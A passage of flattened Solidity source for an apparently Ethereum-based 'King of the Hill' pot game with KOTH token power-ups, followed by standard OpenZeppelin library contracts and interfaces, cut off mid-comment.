uint256 public _bpOfPotToBuy; // % of the current pot required in ETH to own it uint256 public _percentagePotToSeed; // % of the current pot that will be used to seed the next roung bool public _isStrengthPowerUp; // Is Strength enabled? bool public _isDefensePowerUp; // Is Defense enabled? bool public _isAgilityPowerUp; // Is Agility Enabled? uint256 public _strengthBonus; // % Extra of the Pot you win uint256 public _defenseBonus; // Multiplier of how expensive the pot becomes for the next person uint256 public _agilityBonus; // a number uint256 public _agilityBuyNbBlockMin; uint256 private _nbAgility; // a number uint256 public _nbBlocksWinning; uint256 private _nbBlockBought; // Block number the current round bought at uint256 public _pot; // Amount of wei in the pot uint256 public _seed; // Amount of wei to seed the next pot address public _weth = address(0x0); // ERC20 address of WETH to calculate WETH / KOTH price address public _kothUniPool; // KOTH uniswap pool to calculate WETH / KOTH price uint256 public _defensePerc = 10; uint256 public KOTH_PER_BLOCK_PRECISION = 10 ** 6; uint256 public _kothPerBlock = 10 * KOTH_PER_BLOCK_PRECISION; // Amount of KOTH per block for the agility bonus. Precision up to 10^6 (0.000001 KOTH) uint256 private _rake = 20; uint256 public _strengthPerc = 30; constructor( address owner, address wallet_ ) { _pause(); _koth = KOTH(0x0); // _weth = weth_; _wallet = wallet_; _bpOfPotToBuy = 100; // Percentage of the pot in ether it _percentagePotToSeed = 90; // Amount of the pot that is kept as the seed _nbBlocksWinning = 100; // number _strengthBonus = 100; // percentage _defenseBonus = 2; // number _agilityBonus = 1; // number _kothUniPool = msg.sender; // WARNING Change this to the KOTH uni pool once created transferOwnership(owner); } modifier onlyPotOwner() { require( _msgSender() == _potOwner, "KingOfTheHill: Only pot owner can buy bonus" ); _; } modifier onlyNotPotOwner() { require( _msgSender() != _potOwner, "KingOfTheHill: sender mut not be the pot owner" ); _; } modifier onlyRationalPercentage(uint256 percentage) { require( percentage >= 0 && percentage <= 100, "KingOfTheHill: percentage value is irrational" ); _; } function setKothUniPool(address p) public onlyOwner { _kothUniPool = p; } function setRake(uint r) public onlyOwner { _rake = r; } function setDefencePerc(uint d) public onlyOwner { _defensePerc = d; } function setStrengthPerc(uint s) public onlyOwner { _strengthPerc = s; } function setKothPerBlock(uint k) public onlyOwner { _kothPerBlock = k; } function setKoth(address k) public onlyOwner { _koth = KOTH(k); } function setWeth(address w) public onlyOwner { _weth = w; } // Used for percentages 1% - 100% function percentageToAmount(uint256 amount, uint256 percentage) public pure returns (uint256) { return amount.mul(percentage).div(100); } // Used for basis points 0.0001% -> 100.0000% function basisPointToAmount(uint256 amount, uint256 percentage) public pure returns (uint256) { return amount.mul(percentage).div(10000); } function koth() public view returns (address) { return address(_koth); } function wallet() public view returns (address) { return _wallet; } function nbBlocksWinning() public view returns (uint256) { return _nbBlocksWinning; } function setNbBlocksWinning(uint256 nbBlocks) public onlyOwner() { require(nbBlocks > 0, "KingOfTheHill: nbBlocks must be greater than 0"); _nbBlocksWinning = nbBlocks; } function remainingBlocks() public view returns (uint256) { uint256 blockPassed = (block.number).sub(_nbBlockBought).add( _nbAgility.mul(_agilityBonus) ); if (_potOwner == address(0)) { return _nbBlocksWinning; } else if (blockPassed > _nbBlocksWinning) { return 0; } else { return _nbBlocksWinning.sub(blockPassed); } } function hasWinner() public view returns (bool) { if (_potOwner != address(0) && remainingBlocks() == 0) { return true; } else { return false; } } function percentagePotToBuy() public view returns (uint256) { return _bpOfPotToBuy; } function setPercentagePotToBuy(uint256 percentage) public onlyOwner() onlyRationalPercentage(percentage) { _bpOfPotToBuy = percentage; } function percentagePotToSeed() public view returns (uint256) { return _percentagePotToSeed; } function setPercentagePotToSeed(uint256 percentage) public onlyOwner() onlyRationalPercentage(percentage) { _percentagePotToSeed = percentage; } function setStrengthBonus(uint256 percentage) public onlyOwner() { //require("KingOfTheHill: Irration percentage") _strengthBonus = percentage; } function strengthBonus() public view returns (uint256) { return _strengthBonus; } function defenseBonus() public view returns (uint256) { return _defenseBonus; } function setDefenseBonus(uint256 percentage) public onlyOwner() { _defenseBonus = percentage; } function agilityBonus() public view returns (uint256) { return _agilityBonus; } function setAgilityBonus(uint256 nbBlock) public onlyOwner() { _agilityBonus = nbBlock; } function agilityBuyNbBlockMin() public view returns (uint256) { return _agilityBuyNbBlockMin; } function setAgilityBuyNbBlockMin(uint256 nbBlocks) public onlyOwner() { _agilityBuyNbBlockMin = nbBlocks; } function isStrengthPowerUp() public view returns (bool) { return _isStrengthPowerUp; } function isDefensePowerUp() public view returns (bool) { return _isDefensePowerUp; } function isAgilityPowerUp() public view returns (bool) { return _isAgilityPowerUp; } // Visible pot value is the contract balance minus the seed amount for next round function pot() public view returns (uint256) { return _pot; } function seed() public view returns (uint256) { return _seed; } /* * POT PRICES */ function defensivePotCost() public view returns (uint256) { uint256 price = basisPointToAmount( _pot, _bpOfPotToBuy.mul(_defenseBonus) ); return price; } function regularPotCost() public view returns (uint256) { return basisPointToAmount( _pot, _bpOfPotToBuy.mul(1) ); } function priceOfPot() public view returns (uint256) { if (hasWinner()) return basisPointToAmount(_seed, _bpOfPotToBuy); if (_isDefensePowerUp) return defensivePotCost(); return regularPotCost(); } function prize() public view returns (uint256) { uint256 strBonus = 0; if (_isStrengthPowerUp) { strBonus = _strengthBonus; } return _pot.add(percentageToAmount(_pot, strBonus)); } function contractBalance() public view returns (uint256) { return address(this).balance; } function potOwner() public view returns (address) { return _potOwner; } /* * This function returns the price of KOTH in ETH */ function getKOTHPrice() public view returns (uint256) { if (_weth == address(0x0)) return 2 * 10 ** 18; uint256 ethAmount = IERC20(_weth).balanceOf(_kothUniPool); uint256 kothAmount = IERC20(_koth).balanceOf(_kothUniPool).mul(10**18); return kothAmount.div(ethAmount); } function issueWinner() internal { emit Winner(_potOwner, prize()); payable(_potOwner).transfer(prize()); _pot = _seed; _seed = 0; } function buyPot() public payable onlyNotPotOwner() whenNotPaused() { require(msg.value >= priceOfPot(), "KingOfTheHill: Not enough ether for buying pot"); // Pay winner and reset contract if (hasWinner()) { issueWinner(); } // Recalculate seed uint256 rake = percentageToAmount(msg.value, _rake); // 20% rake uint256 keep = msg.value.sub(rake); uint256 toSeed = percentageToAmount(keep, _percentagePotToSeed); uint256 toPot = msg.value.sub(toSeed); _pot = _pot.add(toPot); _seed = _seed.add(toSeed); payable(_wallet).transfer(rake); // Reset block bought _nbBlockBought = block.number; // Reset powerups _isStrengthPowerUp = false; _isDefensePowerUp = false; _isAgilityPowerUp = false; _nbAgility = 0; _potOwner = _msgSender(); emit Bought(_msgSender()); } /* * STRENGTH POWER UP */ function strengthPowerUpCost() public view returns (uint256) { uint256 amount = 0; amount = percentageToAmount( percentageToAmount(priceOfPot(), _strengthBonus), _strengthPerc ); amount = amount.mul(getKOTHPrice()).div(10 ** 18); return amount; } function buyStrength() public onlyPotOwner() whenNotPaused() { require(_isStrengthPowerUp == false, "KingOfTheHill: Already bought a strength power up"); _koth.operatorBurn(_msgSender(), strengthPowerUpCost(), "", ""); _isStrengthPowerUp = true; emit StrengthActivated(strengthPowerUpCost()); } /* * DEFENSIVE POWER UP */ function defensePowerUpCost() public view returns (uint256) { uint256 amount = percentageToAmount(defensivePotCost().sub(regularPotCost()), _defensePerc); amount = amount.mul(getKOTHPrice()).div(10 ** 18); return amount; } function buyDefense() public onlyPotOwner() whenNotPaused() { require(_isDefensePowerUp == false, "KingOfTheHill: Already bought a defense power up"); _koth.operatorBurn(_msgSender(), defensePowerUpCost(), "", ""); _isDefensePowerUp = true; } function buyAgility(uint256 nbAgility) public onlyPotOwner() whenNotPaused() { require( _isAgilityPowerUp == false, "KingOfTheHill: Already bought an agility power up" ); require(nbAgility > 0, "KingOfTheHill: can not buy 0 agility"); require( remainingBlocks() > (_agilityBonus.mul(nbAgility)).add(3), "KingOfTheHill: too many agility power-up" ); uint256 cost = _kothPerBlock.mul(10 ** uint256(_koth.decimals())).div(KOTH_PER_BLOCK_PRECISION); _koth.operatorBurn( _msgSender(), _agilityBonus.mul(nbAgility).mul(cost), "", "" ); _nbAgility = nbAgility; _isAgilityPowerUp = true; } function pause() public onlyOwner() { _pause(); } function unpause() public onlyOwner() { _unpause(); } function withdraw(uint256 amount) public onlyOwner() { payable(owner()).transfer(amount); } receive() external payable { uint256 toSeed = percentageToAmount(msg.value, _percentagePotToSeed); uint256 toPot = msg.value.sub(toSeed); _pot = _pot.add(toPot); _seed = _seed.add(toSeed); } event Winner(address indexed winner, uint256 amount); event Bought(address indexed buyer); event StrengthActivated(uint256 cost); event DefenseActivated(uint256 cost); event AgilityActivated(uint256 cost); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/EnumerableSet.sol"; import "../utils/Address.sol"; import "../GSN/Context.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../GSN/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the global ERC1820 Registry, as defined in the * https://eips.ethereum.org/EIPS/eip-1820[EIP]. Accounts may register * implementers for interfaces in this registry, as well as query support. * * Implementers may be shared by multiple accounts, and can also implement more * than a single interface for each account. Contracts can implement interfaces * for themselves, but externally-owned accounts (EOA) must delegate this to a * contract. * * {IERC165} interfaces can also be queried via the registry. * * For an in-depth explanation and source code analysis, see the EIP text. */ interface IERC1820Registry { /** * @dev Sets `newManager` as the manager for `account`. A manager of an * account is able to set interface implementers for it. * * By default, each account is its own manager. Passing a value of `0x0` in * `newManager` will reset the manager to this initial state. * * Emits a {ManagerChanged} event. * * Requirements: * * - the caller must be the current manager for `account`. */ function setManager(address account, address newManager) external; /** * @dev Returns the manager for `account`. * * See {setManager}. */ function getManager(address account) external view returns (address); /** * @dev Sets the `implementer` contract as ``account``'s implementer for * `interfaceHash`. * * `account` being the zero address is an alias for the caller's address. * The zero address can also be used in `implementer` to remove an old one. * * See {interfaceHash} to learn how these are created. * * Emits an {InterfaceImplementerSet} event. * * Requirements: * * - the caller must be the current manager for `account`. * - `interfaceHash` must not be an {IERC165} interface id (i.e. it must not * end in 28 zeroes). * - `implementer` must implement {IERC1820Implementer} and return true when * queried for support, unless `implementer` is the caller. See * {IERC1820Implementer-canImplementInterfaceForAddress}. */ function setInterfaceImplementer(address account, bytes32 _interfaceHash, address implementer) external; /** * @dev Returns the implementer of `interfaceHash` for `account`. If no such * implementer is registered, returns the zero address. * * If `interfaceHash` is an {IERC165} interface id (i.e. it ends with 28 * zeroes), `account` will be queried for support of it. * * `account` being the zero address is an alias for the caller's address. */ function getInterfaceImplementer(address account, bytes32 _interfaceHash) external view returns (address); /** * @dev Returns the interface hash for an `interfaceName`, as defined in the * corresponding * https://eips.ethereum.org/EIPS/eip-1820#interface-name[section of the EIP]. */ function interfaceHash(string calldata interfaceName) external pure returns (bytes32); /** * @notice Updates the cache with whether the contract implements an ERC165 interface or not. * @param account Address of the contract for which to update the cache. * @param interfaceId ERC165 interface for which to update the cache. */ function updateERC165Cache(address account, bytes4 interfaceId) external; /** * @notice Checks whether a contract implements an ERC165 interface or not. * If the result is not cached a direct lookup on the contract address is performed. * If the result is not cached or the cached value is out-of-date, the cache MUST be updated manually by calling * {updateERC165Cache} with the contract address. * @param account Address of the contract to check. * @param interfaceId ERC165 interface to check. * @return True if `account` implements `interfaceId`, false otherwise. */ function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool); /** * @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache. * @param account Address of the contract to check. * @param interfaceId ERC165 interface to check. * @return True if `account` implements `interfaceId`, false otherwise. */ function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool); event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer); event ManagerChanged(address indexed account, address indexed newManager); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC777Token standard as defined in the EIP. * * This contract uses the * https://eips.ethereum.org/EIPS/eip-1820[ERC1820 registry standard] to let * token holders and recipients react to token movements by using setting implementers * for the associated interfaces in said registry. See {IERC1820Registry} and * {ERC1820Implementer}. */ interface IERC777 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() external view returns (string memory); /** * @dev Returns the smallest part of the token that is not divisible. This * means all token operations (creation, movement and destruction) must have * amounts that are a multiple of this number. * * For most token contracts, this value will equal 1. */ function granularity() external view returns (uint256); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by an account (`owner`). */ function balanceOf(address owner) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * If send or receive hooks are registered for the caller and `recipient`, * the corresponding functions will be called with `data` and empty * `operatorData`. See {IERC777Sender} and {IERC777Recipient}. * * Emits a {Sent} event. * * Requirements * * - the caller must have at least `amount` tokens. * - `recipient` cannot be the zero address. * - if `recipient` is a contract, it must implement the {IERC777Recipient} * interface. */ function send(address recipient, uint256 amount, bytes calldata data) external; /** * @dev Destroys `amount` tokens from the caller's account, reducing the * total supply. * * If a send hook is registered for the caller, the corresponding function * will be called with `data` and empty `operatorData`. See {IERC777Sender}. * * Emits a {Burned} event. * * Requirements * * - the caller must have at least `amount` tokens. */ function burn(uint256 amount, bytes calldata data) external; /** * @dev Returns true if an account is an operator of `tokenHolder`. * Operators can send and burn tokens on behalf of their owners. All * accounts are their own operator. * * See {operatorSend} and {operatorBurn}. */ function isOperatorFor(address operator, address tokenHolder) external view returns (bool); /** * @dev Make an account an operator of the caller. * * See {isOperatorFor}. * * Emits an {AuthorizedOperator} event. * * Requirements * * - `operator` cannot be calling address. */ function authorizeOperator(address operator) external; /** * @dev Revoke an account's operator status for the caller. * * See {isOperatorFor} and {defaultOperators}. * * Emits a {RevokedOperator} event. * * Requirements * * - `operator` cannot be calling address. */ function revokeOperator(address operator) external; /** * @dev Returns the list of default operators. These accounts are operators * for all token holders, even if {authorizeOperator} was never called on * them. * * This list is immutable, but individual holders may revoke these via * {revokeOperator}, in which case {isOperatorFor} will return false. */ function defaultOperators() external view returns (address[] memory); /** * @dev Moves `amount` tokens from `sender` to `recipient`. The caller must * be an operator of `sender`. * * If send or receive hooks are registered for `sender` and `recipient`, * the corresponding functions will be called with `data` and * `operatorData`. See {IERC777Sender} and {IERC777Recipient}. * * Emits a {Sent} event. * * Requirements * * - `sender` cannot be the zero address. * - `sender` must have at least `amount` tokens. * - the caller must be an operator for `sender`. * - `recipient` cannot be the zero address. * - if `recipient` is a contract, it must implement the {IERC777Recipient} * interface. */ function operatorSend( address sender, address recipient, uint256 amount, bytes calldata data, bytes calldata operatorData ) external; /** * @dev Destroys `amount` tokens from `account`, reducing the total supply. * The caller must be an operator of `account`. * * If a send hook is registered for `account`, the corresponding function * will be called with `data` and `operatorData`. See {IERC777Sender}. * * Emits a {Burned} event. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. * - the caller must be an operator for `account`. */ function operatorBurn( address account, uint256 amount, bytes calldata data, bytes calldata operatorData ) external; event Sent( address indexed operator, address indexed from, address indexed to, uint256 amount, bytes data, bytes operatorData ); event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData); event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData); event AuthorizedOperator(address indexed operator, address indexed tokenHolder); event RevokedOperator(address indexed operator, address indexed tokenHolder); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC777TokensRecipient standard as defined in the EIP. * * Accounts can be notified of {IERC777} tokens being sent to them by having a * contract implement this interface (contract holders can be their own * implementer) and registering it on the * https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry]. * * See {IERC1820Registry} and {ERC1820Implementer}. */ interface IERC777Recipient { /** * @dev Called by an {IERC777} token contract whenever tokens are being * moved or created into a registered account (`to`). The type of operation * is conveyed by `from` being the zero address or not. * * This call occurs _after_ the token contract's state is updated, so * {IERC777-balanceOf}, etc., can be used to query the post-operation state. * * This function may revert to prevent the operation from being executed. */ function tokensReceived( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC777TokensSender standard as defined in the EIP. * * {IERC777} Token holders can be notified of operations performed on their * tokens by having a contract implement this interface (contract holders can be * their own implementer) and registering it on the * https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry]. * * See {IERC1820Registry} and {ERC1820Implementer}. */ interface IERC777Sender { /** * @dev Called by an {IERC777} token contract whenever a registered holder's * (`from`) tokens are about to be moved or destroyed. The type of operation * is conveyed by `to` being the zero address or not. * * This call occurs _before_ the token contract's state is updated, so * {IERC777-balanceOf}, etc., can be used to query the pre-operation state. * * This function may revert to prevent the operation from being executed. */ function tokensToSend( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * 